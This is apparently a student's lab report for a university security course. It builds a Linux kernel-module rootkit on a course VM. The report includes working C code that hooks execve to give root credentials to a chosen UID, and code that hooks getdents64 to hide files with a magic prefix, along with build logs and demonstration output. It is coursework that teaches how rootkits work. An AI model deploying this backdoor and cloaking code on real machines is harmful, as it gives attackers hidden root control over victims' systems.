

Part A

3.

Using grep to search kallsyms for sys_call_table

```
root@COMP4108-a2:/proc# grep -e sys_call_table kallsyms
fffffffffaaa002a0 R x32_sys_call_table
fffffffffaaa013c0 R sys_call_table
fffffffffaaa02400 R ia32_sys_call_table
```

4.

Adding the symbol from Q3

```
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
```

5.

Running make, the warnings will be fixed in part B and C

```
root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
  74 | static char* magic_prefix;
      |
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-variable]
   62 | static int root_uid;
      |
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2#
```

6, 7

Inserting and ejecting the rootkit

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# lsmod | grep -e rootkit
rootkit                16384  0
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# lsmod | grep -e rootkit
root@COMP4108-a2:/home/student/a2#
```

8.

Example of the open() hook working.

Finished code included in rootkit.c

```
Oct  4 20:05:06 COMP4108-a2 kernel: [352413.120107] Rootkit module initializing.
Oct  4 20:05:06 COMP4108-a2 kernel: [352413.134268] Rootkit module is loaded!
Oct  4 20:05:45 COMP4108-a2 kernel: [352452.200552] openat() called for A2.txt
Oct  4 20:06:07 COMP4108-a2 kernel: [352474.545461] Rootkit module is unloaded!
Oct  4 20:06:07 COMP4108-a2 kernel: [352474.545492] Rootkit module cleanup complete.
```

9.

2 principles that help mitigate rootkits are

P4 complete-mediation: ensure that if something is being done to the kernel that it is being done only by an authorized party. If the attacker is unauthorised then they first need to escalate privileges, which should also be covered by P4.

P14 evidence-production: robust audit trails should allow a user to determine a rootkit has been installed or that the system is behaving abnormally.

Part B – Backdoor

1. most of the relevant lines for part one from rootkit.c

```
37  static t_syscall original_execve;

132  /*
133   *New execve defined here
134   *
135   */
136  asmlinkage int new_execve(const struct pt_regs* regs){
137      long ret;
138      char *filepath;
139      int uid;
140      filepath = kmalloc(4096, GFP_KERNEL); // allocate kernel memory for filepath
141      //for exec the pathname is the first argument which corresponds to rdi
142      if (strncpy_from_user(filepath, (void*) regs->di, 4096) < 0){
143          kfree(filepath);
144          return 0;
145      }
146      //getting effective kuid from current then converting from a kuid to a uid_t that can be read as an int
147      uid = _kuid_val(current_euid());
148      printk(KERN_INFO "Executing %s\n", filepath);
149      printk(KERN_INFO "Effective UID %d\n", uid);
150
151      kfree(filepath);
152      ret = original_execve(regs);
153      return ret;
154  }

205  original_execve = (t_syscall)__sys_call_table[__NR_execve];

226  // Let's hook execve() for privilege excalation
227  __sys_call_table[__NR_execve] = (unsigned long) new_execve;

261  // Let's unhook and restore the original execve() function
262  __sys_call_table[__NR_execve] = (unsigned long) original_execve;
```

From man7.org's Architecture calling conventions, which were used to determine what part of regs corresponded to what argument.

Arch/ABI	arg1	arg2	arg3	arg4	arg5	arg6	arg7	Notes
X86-64	rdi	rsi	rdx	r10	r8	r9	-	

From `man execve`

```
int execve(const char *pathname, char *const argv[], char *const envp[]);
```

This means that the pathname for the file being executed is the first argument to execve and that corresponds to regs->di.

The filepath needs to be copied from user memory to kernel memory hence the call to strncpy_from_user() to copy it from regs->di to filepath.

Example output when root runs ls

```
Oct  9 10:12:27 COMP4108-a2 kernel: [82974.862450] Executing /bin/ls
Oct  9 10:12:27 COMP4108-a2 kernel: [82974.862466] Effective UID 0
```


2.

a. building module code

```
root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
  CC [M]  /home/student/a2/rootkit.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/student/a2/rootkit.mod.o
  LD [M]  /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
```

b., c., d. running whoami before and after running insert.sh

```
student@COMP4108-a2:~/a2$ whoami
student
student@COMP4108-a2:~/a2$ whoami
root
student@COMP4108-a2:~/a2$ ./eject.sh
student@COMP4108-a2:~/a2$ whoami
student
```

Updated insert.sh

```
#Specify the UID of for root_uid for the execve hook code
ROOT=1001

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT
```

Sets the module parameter root_uid equal to 1001

```
64  static int root_uid;
65  module_param(root_uid, int, 0);
```

Sets a module param root_uid

```

139 asmlinkage int new_execve(const struct pt_regs* regs){
140     char *filepath;
141     int euid;
142     //For question 2.
143     struct cred *new_cred;
144
145     filepath = kmalloc(4096, GFP_KERNEL); // allocate kernel memory for filepath
146     //for exec the pathname is the first argument which corresponds to rdi
147     if (strncpy_from_user(filepath, (void*) regs->di, 4096) < 0){
148         kfree(filepath);
149         return 0;
150     }
151     //getting effective kuid from current then converting from a kuid to a uid_t that can be read as an int
152     euid = __kuid_val(current_euid());
153     printk(KERN_INFO "Executing %s\n", filepath);
154     printk(KERN_INFO "Effective UID %d\n", euid);
155
156     kfree(filepath);
157
158     if(euid == root_uid){
159         new_cred = prepare_kernel_cred(current); //create a new cred that's a copy of the current one
160         new_cred->euid = KUIDT_INIT(0); //set the new cred's effective UID to root
161         commit_creds(new_cred); //set the new cred as the real one
162     }
163
164     return original_execve(regs); //run execve
165 }
166

```

Updated new_execve now creates a cred pointer and has it point towards the current cred. The cred's effective user id is then replaced by euid = 0 (root) before the cred is recommitted.

Part C – File Cloaking

1.

Store original function

```
original_getdents = (t_syscall)__sys_call_table[__NR_getdents64];
```

Example output

```
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108769] getdents64() hook invoked.
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108821] entry: .gnupg
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108825] entry: .sudo_as_admin_successful
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108828] entry: ..
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108831] entry: .wget-hsts
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108834] entry: .bash_logout
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108836] entry: .bashrc
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108839] entry: .ssh
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108842] entry: .profile
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108845] entry: .lesshtst
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108848] entry: .bash_history
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108851] entry: .viminfo
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108854] entry: a2
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108856] entry: .Xauthority
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108859] entry: .cache
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108862] entry: a2.tar.gz
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108865] entry: .landscape
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108868] entry: .
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108871] entry: list.sh
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108873] entry: .vim
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108876] entry: .vscode-server
Oct  7 14:56:59 COMP4108-a2 kernel: [ 958.108879] entry: .local
```

2.

a.

```
# Specify the magic prefix
MAGIC=\$sys\$
#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT magic_prefix=$MAGIC
```

Same idea as the last time, this time using \ to escape the \$

b.


```

root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'

```

c.

```

root@COMP4108-a2:/home/student/a2# touch \${sys}\$_lol_hidden.txt

```

d.

```

root@COMP4108-a2:/home/student/a2# ls -l \${sys}\$_lol_hidden.txt
-rw-r--r-- 1 root root 0 Oct 8 14:33 '\${sys}\$_lol_hidden.txt'

```

e.

```

root@COMP4108-a2:/home/student/a2# ./insert.sh

```

f.

```

root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# ls -l
total 80
-rwxrwxr-x 1 student student 107 Feb 1 2024 eject.sh
-rwxrwxr-x 1 student student 313 Oct 7 15:07 insert.sh
-rw-rw-r-- 1 student student 174 Feb 1 2024 Makefile
-rw-r--r-- 1 root root 28 Oct 8 14:32 modules.order
-rw-r--r-- 1 root root 0 Oct 8 14:32 Module.symvers
-rw-rw-r-- 1 student student 10343 Oct 8 14:28 rootkit.c
-rw-r--r-- 1 root root 12816 Oct 8 14:32 rootkit.ko
-rw-r--r-- 1 root root 28 Oct 8 14:32 rootkit.mod
-rw-r--r-- 1 root root 1402 Oct 8 14:32 rootkit.mod.c
-rw-r--r-- 1 root root 4344 Oct 8 14:32 rootkit.mod.o
-rw-r--r-- 1 root root 9832 Oct 8 14:32 rootkit.o
-rw-r--r-- 1 root root 0 Oct 8 11:10 test
-rw-r--r-- 1 root root 7756 Oct 8 10:30 test.txt
root@COMP4108-a2:/home/student/a2# ls -la
.          modules.order  rootkit.mod      rootkit.o
..         Module.symvers  rootkit.mod.c    .rootkit.o.cmd
eject.sh   rootkit.c          .rootkit.mod.cmd test
insert.sh  rootkit.ko         rootkit.mod.o    test.txt
Makefile   .rootkit.ko.cmd    .rootkit.mod.o.cmd .txt
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# ls -l
total 80
-rw-r--r-- 1 root root 0 Oct 8 14:33 '\${sys}\$_lol_hidden.txt'
-rwxrwxr-x 1 student student 107 Feb 1 2024 eject.sh
-rwxrwxr-x 1 student student 313 Oct 7 15:07 insert.sh
-rw-rw-r-- 1 student student 174 Feb 1 2024 Makefile
-rw-r--r-- 1 root root 28 Oct 8 14:32 modules.order
-rw-r--r-- 1 root root 0 Oct 8 14:32 Module.symvers
-rw-rw-r-- 1 student student 10343 Oct 8 14:28 rootkit.c
-rw-r--r-- 1 root root 12816 Oct 8 14:32 rootkit.ko
-rw-r--r-- 1 root root 28 Oct 8 14:32 rootkit.mod
-rw-r--r-- 1 root root 1402 Oct 8 14:32 rootkit.mod.c
-rw-r--r-- 1 root root 4344 Oct 8 14:32 rootkit.mod.o
-rw-r--r-- 1 root root 9832 Oct 8 14:32 rootkit.o
-rw-r--r-- 1 root root 0 Oct 8 11:10 test
-rw-r--r-- 1 root root 7756 Oct 8 10:30 test.txt

```


Part C code

The comments in rootkit.c are verbose and explain what's happening at each step so this is a quick summary of what's going on. Check rootkit.c for definition of `check_prefix(char* entry)`

```
190 /*
191 New getdents defined here
192 */
193 asmlinkage int new_getdents(const struct pt_regs* regs){
194     unsigned int buff_size;
195     struct linux_dirent64 *d;
196     int bpos, copy_bpos;
197     char *buf, *copy_buf;
198     char *entry;
199     int nread, new_ret;
200     short val;
201
202     printk(KERN_INFO "getdents64() hook invoked. \n");
203
204     entry = kmalloc(4096, GFP_KERNEL); // allocate kernel memory for the entry names
205     buf = (void*) regs->si; //copy the buffer from regs, casting it to a void pointer
206     buff_size = regs->dx; //copy the buffer size from regs, it's the 3rd argument to getdents64(fd, *dirp, count)
207
208     nread = original_getdents(regs); //populate the buffer and store the size in nread
209     copy_buf = kmalloc(buff_size, GFP_KERNEL); //allocate a buffer the same size as the original
210     new_ret = 0; //the length of the copy buffer
211     copy_bpos = 0;
212     d = (struct linux_dirent64 *) (buf);
213
214     //iterate through the whole original buffer
215     for(bpos = 0; bpos < nread;){
216         d = (struct linux_dirent64 *) (buf + bpos); //grab the next dirent64, pointed to by the bpos cursor
217         strncpy_from_user(entry, (void*) d->d_name, 4096); //copy the name to kernel memory, not checking return since this was populated by getdents not by user input
218         copy_from_user(&val, &(d->d_reclen), sizeof(short)); //copy the short to kernel memory
219         printk(KERN_INFO "entry:  %s\n", entry); //print the name to kern info for part 1
220
221         //if the file has the prefix then don't add it to the copy buffer and don't increase the size of the return
222         if(!check_prefix(entry)){
223             copy_from_user(copy_buf + copy_bpos, d, val); //copy this part of the buffer from the userspace original buffer to the kernelspace copy buffer
224             copy_bpos += val; //move the cursor over for the copy buffer
225             new_ret += val; //increase the reported size of the copy buffer for the return
226         }
227
228         bpos += val; //move the cursor over by the size of the entry
229     }
230
231
232     copy_to_user(buf, copy_buf, buff_size); //move the copy buffer to where the old buffer points
233     kfree(entry);
234     kfree(copy_buf);
235     return new_ret; //returns the size of the copy buffer
236 }
```

A buffer is copied from `regs->si` that's the buffer that will be populated by the original `getdents` call. The size of the buffer is given by `regs->dx` and the size of the populated portion of the buffer is the return value of the original `getdents` call. The copy buffer is allocated with the same max size as the original.

While iterating through the buffer `d` is a `linux_dirent64` pointer that points to a part of the original buffer given the offset `bpos` (`buf + bpos` being pointer arithmetic). The names of the directories are given by the `d->d_name` field and need to be copied into kernel space before they can be printed for part 1. the length of the `linux_dirent64` is given by `d->d_reclen` and is used to find the offset to the next dirent.

For part 2 a copy buffer is maintained and populated with the `linux_dirent64` entries using `copy_from_user()` with the length being the length of the dirent (`val`). `check_prefix(entry)` is just a simple function that returns true if the passed entry has the same prefix as the magic prefix. If a dirent name has the magic prefix then it isn't included in the new buffer with the total length of the used part of the new buffer not increasing (`new_ret`) and the buffer offset not increasing (`copy_bpos`). After the loop the new buffer is copied to user memory to replace the original buffer, and the return is changed to be the used length of the new buffer.